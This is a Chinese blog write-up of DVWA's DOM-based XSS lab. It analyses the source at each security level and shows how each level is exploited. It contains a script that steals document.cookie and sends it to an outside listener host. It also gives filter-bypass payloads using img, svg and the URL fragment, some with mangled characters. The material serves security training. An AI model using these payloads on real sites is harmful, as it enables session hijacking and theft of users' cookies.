DVWA系列之XSS(跨站脚本攻击)——DOM型XSS源码分析及漏洞利用

  • Post author:
  • Post category:其他



DOM型XSS

Document Object Model 文本对象模型xss、可能是存储型也可能是反射型、只决定于输出地方



反射型XSS

中输入:

<script>var img=document.createElement(‘img’);img.src=’http://192.168.232.130:88/log?’+escape(document.cookie);</script>

kali监听:



存储型XSS

中输入:

<script>var img=document.createElement(‘img’);img.src=’http://192.168.232.130:88/log?’+escape(document.cookie);</script>

kali监听:


目录


low级别源码分析


medium级别源码分析


high级别源码分析


impossible级别源码分析



low级别源码分析

没有任何防护


漏洞利用

修改default参数,成功弹窗:



medium级别源码分析

源码中有

array_key_exists()函数

,检查某个数组中是否存在指定的键名default,如果键名存在则返回 true,

如果键名不存在则返回 false


stripos()函数

,查找字符串在另一字符串中第一次出现的位置(不区分大小写),即在参数default中查找<script


漏洞利用

过滤script,可以使用img标签、svg标签,先用<img src=1 οnerrοr=alert(‘xss’)>,没有弹出任何窗口 ,f12查看代码,

将xss语句插入value值中

修改default参数:default=</option></select><img src=” οnerrοr=alert(‘xss’)>


获取cookie

修改如下:default=</option></select><svg/οnlοad=alert(document.cookie)>



high级别源码分析

该源码使用了switch()函数,在这里相当于白名单,只允许传 default值为English、French、German、Spanish 其中一个。


漏洞利用

源码中发现#号之后的内容,不会被提交到服务器,可以直接与浏览器进行交互

修改:default=English #<script>alert(‘xss’)</script>



impossible级别源码分析

不必做任何事,在客户端保护处理



版权声明:本文为qq_41210745原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。